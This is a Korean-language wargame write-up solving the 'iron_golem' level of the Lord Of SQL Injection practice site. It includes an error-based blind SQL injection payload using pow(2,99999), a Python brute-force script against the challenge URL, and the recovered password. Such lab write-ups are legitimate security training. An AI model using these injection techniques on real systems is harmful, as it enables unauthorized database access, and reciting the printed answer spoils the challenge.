Write up (Wargame)/LOS

[Lord Of SQL Injection] 21. iron_golem 풀이

그믐​ 2022. 11. 13. 18:12
반응형

분석


아이언 골렘

브루트포싱 문제,,

sleep, benchmark 막힙니다.

pw만 입력받습니다.

 

참 거짓을 판별하기 위한 Hello admin 부분이 없습니다.

완전한 블라인드 sql injection 같은..

 

sleep, benchmark가 막혀서 time_based sql injection은 어려울 것 같고..

 

그럼 error based?

보아하니 if(mysqli_error($db)) exit(mysqli_error($db)); 라고 기존에 없던 부분이 있는데

 

https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20pow(2,9999)%23

 

이렇게 쿼리를 전달해주면

 

에러가 출력됩니다.

 

그럼 error based sql injection을 해서

 

if문을 가지고 길이부터 찾아봅시다.

 

풀이


import requests

url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?'

cookie = {'PHPSESSID': 'ㅋㅋ'}

for i in range(1, 100) :
    query = 'pw=\'or if(id=\'admin\' and length(pw)={}, pow(2,99999), 0) %23'.format(i)
    print(query, i)

    req = requests.get(url+query, cookies=cookie)
    
    if('out of range' in req.text) :
        print('len:', i)
        break

 

if 문으로 길이를 구하면

if 문 사용은 if(조건, 참일 때 값, 거짓일 때 값)

길이는 32가 나옵니다.

 

 

이와 비슷하게 substr을 사용해서 (substr은 쿼리, 시작, 시작으로부터 얼마나)

 

뭐야 왜 다 숫자야

 

앗 따옴표를 빼먹었넹

 

흐뭇한 모습

 

 

결과!

06b5a6c16e8830475f983cc3a825ee9a

 

error-based sql injection 입문으로 좋은 문제네요

반응형